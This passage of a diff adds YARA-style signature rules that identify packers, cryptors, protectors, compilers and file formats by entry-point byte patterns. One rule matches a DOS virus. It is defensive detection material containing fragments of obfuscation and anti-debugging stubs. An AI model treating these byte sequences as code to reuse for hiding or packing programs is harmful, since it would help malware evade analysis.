+		$2 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 93 03 00 00 03 C8 74 C4 75 C2 E8}
+		$3 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _RCryptor_v20_Hide_EP__Vaska_
+{
+	meta:
+		description = "RCryptor v2.0 (Hide EP) --> Vaska"
+	strings:
+		$0 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 DC 20 ?? 00 F7 D1 83 F1 FF E8 00 00 00 00 F7 D1 83 F1 FF C3}
+		$1 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 DC 20 ?? 00 F7 D1 83 F1 FF E8 00 00 00 00 F7 D1 83 F1 FF C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _DiskDupe_c_MSD_Users_file_
+{
+	meta:
+		description = "DiskDupe (c) MSD Users file"
+	strings:
+		$0 = {4D 53 44 20 55 73 65 72 73 20 56 65 72 73 69 6F 6E}
+	condition:
+		$0 at entrypoint
+}
+rule _NCode_01__NEX_
+{
+	meta:
+		description = "N-Code 0.1 -> NEX"
+	strings:
+		$0 = {BB E8 03 00 00 81 C3 E8 03 00 00 B8 05 00 00 00 B9 73 00 00 00 01 C8 83 E8 32 90 90 90 90 6B C0 02 90 68 FF 64 24 F0 90 90 90 90 90 68 58 58 58 58 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v098b2__tHE_EGOiSTE_
+{
+	meta:
+		description = "tElock v0.98b2 -> tHE EGOiSTE"
+	strings:
+		$0 = {E9 1B E4 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098b__Jibz_
+{
+	meta:
+		description = "aPack v0.98b -> Jibz"
+	strings:
+		$0 = {93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cue_60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Cue 6.0)"
+	strings:
+		$0 = {EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__Microsoft_Visual_Cpp_60__70_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)"
+	strings:
+		$0 = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_113__cyclotron_
+{
+	meta:
+		description = "EmbedPE 1.13 -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33}
+		$1 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00}
+		$2 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33 A3 F5 0B 85 97 7C BA 1D 96 DD 07 F8 FD D2 3A 98 83 CC 46 99 9D DF 6F 89 92 54 46 9F 94 43 CC 41 43 9B 8C 61 B9 D8 6F 96 3B D1 07 32 24 DD 07 05 8E CB 6F A1 07 5C 62 20 E0 DB BA 9D 83 54 46 E6 83 51 7A 2B 94 54 64 8A 83 05 68 D7 5E 2D C6 B7 57 00 B3 E8 3C 71 B8 3C 97 7C 36 19 32 7C 08 2A 06 51 64 73 A3 F1 4E 92 25 CB 80 8D 99 54 46 B0 E1 D3 46 A5 2D 10 68 B6 83 91 46 F2 DF 64 FD D1 BC CA AA 70 E2 AB 39 AE 3B 5A 6F 9B 15 BD 25 98 25 30 4C AD 7D 55 07 A8 A3 AC 0A C1 BD 54 72 BC 83 54 82 A3 97 B1 1A B3 83 54 46 83}
+		$3 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Obsidium_V1333__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.3.3 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B ?? 24 0C EB 01 ?? 83 ?? B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Noodlecrypt2__rsc_
+{
+	meta:
+		description = "Noodlecrypt2 -> r!sc"
+	strings:
+		$0 = {EB 01 9A E8 76 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v105b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.05b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _XCOM_100_
+{
+	meta:
+		description = "XCOM 1.00"
+	strings:
+		$0 = {43 42 47 BA 1E 01 B8 B4 4C 87 E5 BC 15 01 EB 02 F5 EA 50 B4 09 CD 21 87 E5 33 ED E8}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_16__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.6 -> coban2k"
+	strings:
+		$0 = {33 C0 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B}
+		$1 = {33 C0 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCIENC_Cryptor_
+{
+	meta:
+		description = "PCIENC Cryptor"
+	strings:
+		$0 = {06 50 43 49 45 4E}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_12C__12D__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 1.2C / 1.2D -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10 ?? ?? ?? BA ?? ?? ?? ?? B8 14 ?? ?? ?? E8 ?? ?? FF FF 85 C0 0F 84 ?? 04 00 00 BA 18 ?? ?? ?? 8B 0D 14 ?? ?? ?? E8 ?? ?? FF FF 8B 05 88 ?? ?? ?? 8B D0 B8 54 ?? ?? ?? E8 ?? E3 FF FF B8 54 ?? ?? ?? E8 ?? E2 FF FF 8B D0 B8 18 ?? ?? ?? 8B 0D 88 ?? ?? ?? E8 ?? D6 FF FF FF 35 34 ?? ?? ?? FF 35 30 ?? ?? ?? FF 35 3C ?? ?? ?? FF 35 38 ?? ?? ?? 8D 55 E8 A1 88 ?? ?? ?? E8 ?? F0 FF FF 8B 55 E8 B9 54}
+		$1 = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10 ?? ?? ?? BA ?? ?? ?? ?? B8 14 ?? ?? ?? E8 ?? ?? FF FF 85 C0 0F 84 ?? 04 00 00 BA 18 ?? ?? ?? 8B 0D 14 ?? ?? ?? E8 ?? ?? FF FF 8B 05 88 ?? ?? ?? 8B D0 B8 54 ?? ?? ?? E8 ?? E3 FF FF B8 54 ?? ?? ?? E8 ?? E2 FF FF 8B D0 B8 18 ?? ?? ?? 8B 0D 88 ?? ?? ?? E8 ?? D6 FF FF FF 35 34 ?? ?? ?? FF 35 30 ?? ?? ?? FF 35 3C ?? ?? ?? FF 35 38 ?? ?? ?? 8D 55 E8 A1 88 ?? ?? ?? E8 ?? F0 FF FF 8B 55 E8 B9 54}
+		$2 = {55 8B EC B9 05 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? 3A ?? ?? E8 ?? EC FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 E8 ?? D7 FF FF E8 ?? ?? FF FF B8 20 ?? ?? ?? 33 C9 BA 04 01 00 00 E8 ?? DB FF FF 68 04 01 00 00 68 20 ?? ?? ?? 6A 00 FF 15 10}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _TurboBAT_v310__50_
+{
+	meta:
+		description = "TurboBAT v3.10 .. 5.0"
+	strings:
+		$0 = {BA ?? ?? B4 09 ?? ?? 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 0F 3A C4 ?? ?? 26 ?? ?? ?? 24 0F 3A C4}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1357__Obsidium_Software__20080521_
+{
+	meta:
+		description = "Obsidium V1.3.5.7 -> Obsidium Software * 20080521"
+	strings:
+		$0 = {EB 01 ?? E8 ?? 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 ?? ?? ?? ?? EB 03 ?? ?? ?? E8 ?? ?? ?? ?? EB 03 ?? ?? ?? EB 03 ?? ?? ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 01 ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Necropolis1963_
+{
+	meta:
+		description = "Vx: Necropolis.1963"
+	strings:
+		$0 = {B4 30 CD 21 3C 03 ?? ?? B8 00 12 CD 2F 3C FF B8 ?? ?? ?? ?? B4 4A BB 40 01 CD 21 ?? ?? FA 0E 17 BC ?? ?? E8 ?? ?? FB A1 ?? ?? 0B C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1337__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.3.7 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098b_COM_
+{
+	meta:
+		description = "aPack v0.98b [COM]"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? 8B CF FC 57 F3 A4 C3 BF ?? ?? 57 57 BE ?? ?? B2 ?? BD ?? ?? 50 A4}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "Microsoft Visual C++"
+	strings:
+		$0 = {8B 44 24 04 8D 54 24 FC 23 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 FF 25}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00}
+		$2 = {55 8B EC 56 57 BF ?? ?? ?? ?? 8B ?? ?? 3B F7 0F}
+		$3 = {8B 44 24 08 56 83 E8 ?? 74 ?? 48 75}
+		$4 = {8B 44 24 08 83 ?? ?? 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _PseudoSigner_02_Microsoft_Visual_Cpp_70_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Microsoft Visual C++ 7.0 DLL"
+	strings:
+		$0 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84}
+		$1 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NextSun_Audio_file_
+{
+	meta:
+		description = "Next/Sun Audio file"
+	strings:
+		$0 = {2E 73 6E 64}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_MSVCpp_60_DLL__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake MSVC++ 6.0 DLL) -> emadicius"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v2xx_
+{
+	meta:
+		description = "ASPack v2.xx"
+	strings:
+		$0 = {A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95}
+		$1 = {A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEQuake_006_forgat_
+{
+	meta:
+		description = "PEQuake 0.06-> forgat"
+	strings:
+		$0 = {E8 A5 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? ?? 00 5B ?? ?? 00 6E ?? ?? 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64}
+		$1 = {E8 A5 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? ?? 00 5B ?? ?? 00 6E ?? ?? 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Windows_9x_registry_file_
+{
+	meta:
+		description = "Windows 9x registry file"
+	strings:
+		$0 = {43 52 45 47}
+	condition:
+		$0 at entrypoint
+}
+rule _Metrowerks_CodeWarrior_DLL_v20_
+{
+	meta:
+		description = "Metrowerks CodeWarrior (DLL) v2.0"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 75 0C 8B 5D 10 83 FE 01 74 05 83 FE 02 75 12 53 56 FF 75 08 E8 6E FF FF FF 09 C0 75 04 31 C0 EB 21 53 56 FF 75 08 E8 ?? ?? ?? ?? 89 C7 09 F6 74 05 83 FE 03 75 0A 53 56 FF 75 08 E8 47 FF FF FF 89 F8 8D 65 F4 5F 5E 5B 5D C2 0C 00 C9}
+		$1 = {55 89 E5 53 56 57 8B 75 0C 8B 5D 10 83 FE 01 74 05 83 FE 02 75 12 53 56 FF 75 08 E8 6E FF FF FF 09 C0 75 04 31 C0 EB 21 53 56 FF 75 08 E8 ?? ?? ?? ?? 89 C7 09 F6 74 05 83 FE 03 75 0A 53 56 FF 75 08 E8 47 FF FF FF 89 F8 8D 65 F4 5F 5E 5B 5D C2 0C 00 C9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXELOCK_666_105_
+{
+	meta:
+		description = "EXELOCK 666 1.05"
+	strings:
+		$0 = {BA 7E 08 BF 27 01 EB 01 EA E8 FB FE 48 79 7A 7F 2C 7E 2A 1C FA 48 78 F5 E3 AE 45 14 04 5A E9 F8 9E 89 18 96 01 5A B1 E0 08 E6 F2 8E FB 4A B1 9C 1D 9C 08 84 11 B1 F1 1F 1C F6 E5 22 CB 23 44 A0 CC 1B D9 BD D2 78 B6 B7 74 A6 E6 AF C4 71 62 AE}
+	condition:
+		$0 at entrypoint
+}
+rule _MPRESS_V101__MATCODE_Software__20080730_
+{
+	meta:
+		description = "MPRESS V1.01 -> MATCODE Software * 20080730"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 05 ?? ?? ?? ?? 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 50 AD 2B C8 03 F1 8B C8 57 51 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 8B D6 8B CF E8 56 00 00 00 5E 5A 83 EA 05 2B C9 3B CA 73 26 8B D9 AC 41 24 FE 3C E8 75 F2 43 83 C1 04 AD 0B C0 78 06 3B C2 73 E5 EB 06 03 C3 78 DF 03 C2 2B C3 89 46 FC EB D6 E8 00 00 00 00 5F 81 C7 8D FF FF FF B0 E9 AA B8 B2 02 00 00 AB E8 00 00 00 00 58 05 34 02 00 00 E9 24 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Anti007_V10V2X__NsPacK_Private_
+{
+	meta:
+		description = "Anti007 V1.0-V2.X -> NsPacK Private"
+	strings:
+		$0 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 45 78 69 74}
+		$1 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Visual_Cpp_50_SP3_
+{
+	meta:
+		description = "Visual C++ 5.0 SP3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 00 40 00 68 00 00 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 98 53 56 57 89 65 E8 C7 45 FC 00 00 00 00 6A 02 FF 15 00 00 40 00 83 C4 04 C7 05 00 00 40 00 FF FF FF FF C7 05 00 00 40 00 FF FF FF FF FF 15 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_VideoLanClient__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Video-Lan-Client] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cue_80_
+{
+	meta:
+		description = "Microsoft Visual Cue 8.0"
+	strings:
+		$0 = {6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_nSPack_13__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake nSPack 1.3) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V0b__cyberbob____20080312_
+{
+	meta:
+		description = "PESpin V0.b -> cyberbob   * 20080312"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 26 E8 01 00 00 00 ?? 5A 33 C9 ?? ?? ?? ?? ?? ?? 8B 42 3C 03 C2 89 ?? ?? ?? ?? ?? 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B ?? ?? ?? ?? ?? ?? 8B 59 24 03 DA 8B 1B ?? ?? ?? ?? ?? ?? 53 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 0C 5B 6A 17 59 30 0C 03 02 CB 4B 75 F8 40 8D 9D 41 8F 4E 00 50 53 81 2C 24 01 78 0E 00 ?? ?? ?? ?? ?? ?? C3 92 EB 15 68 ?? ?? ?? ?? ?? B9 ?? 08 00 00 ?? ?? ?? ?? ?? ?? 4F 30 1C 39 FE CB E2 F9 68 1D 01 00 00 59 ?? ?? ?? ?? ?? ?? C0 0C 39 02 E2 FA 68 ?? ?? ?? ?? 50 01 6C 24 04 E8 BD 09 00 00 33 C0 0F 84 C0 08 00 00 ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF E0 C3 8D 64 24 04 E8 53 0A 00 00 D7 58 5B 51 C3 F7 F3 32 DA ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 81 2C 24 A3 00 00 00 58 ?? ?? ?? ?? ?? ?? 53 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_Unknown_DLL___Dwing_
+{
+	meta:
+		description = "Upack_Unknown (DLL ???) -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 17 CD 00 00 E9 06 02}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_XtremeProtector_105__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake Xtreme-Protector 1.05) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E8 00 00 00 00 5D 81 00 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E8 00 00 00 00 5D 81 00 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _kkryptor_9__kkryptor_a__rsc_
+{
+	meta:
+		description = "k.kryptor 9 / k.kryptor a -> r!sc"
+	strings:
+		$0 = {60 E8 00 00 00 00 5E B9 47 08 00 00 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 F6 66 B9 1B}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSplitter_13_SplitpCrypt_Method__Bill_Prisoner__TPOC_
+{
+	meta:
+		description = "ExeSplitter 1.3 (Split+Crypt Method) -> Bill Prisoner / TPOC"
+	strings:
+		$0 = {15 10 05 23 14 56 57 57 48 12 0B 16 66 66 66 66 66 66 66 66 66 02 C7 56 66 66 66 ED 26 6A ED 26 6A ED 66 E3 A6 69 E2 39 64 66 66 ED 2E 56 E6 5F 0D 12 61 E6 5F 2D 12 64 8D 81 E6 1F 6A 55 12 64 8D B9 ED 26 7E A5 33 ED 8A 8D 69 21 03 12 36 14 09 05 27 02 02 14 03 15 15 27 ED 2B 6A ED 13 6E ED B8 65 10 5A EB 10 7E EB 10 06 ED 50 65 95 30 ED 10 46 65 95 55 B4 ED A0 ED 50 65 95 37 ED 2B 6A EB DF AB 76 26 66 3F DF 68 66 66 66 9A 95 C0 6D AF 13 64}
+		$1 = {E8 00 00 00 00 5D 81 ED 05 10 40 00 B9 ?? ?? ?? ?? 8D 85 1D 10 40 00 80 30 66 40 E2 FA 8F 98 67 66 66 ?? ?? ?? ?? ?? ?? ?? 66}
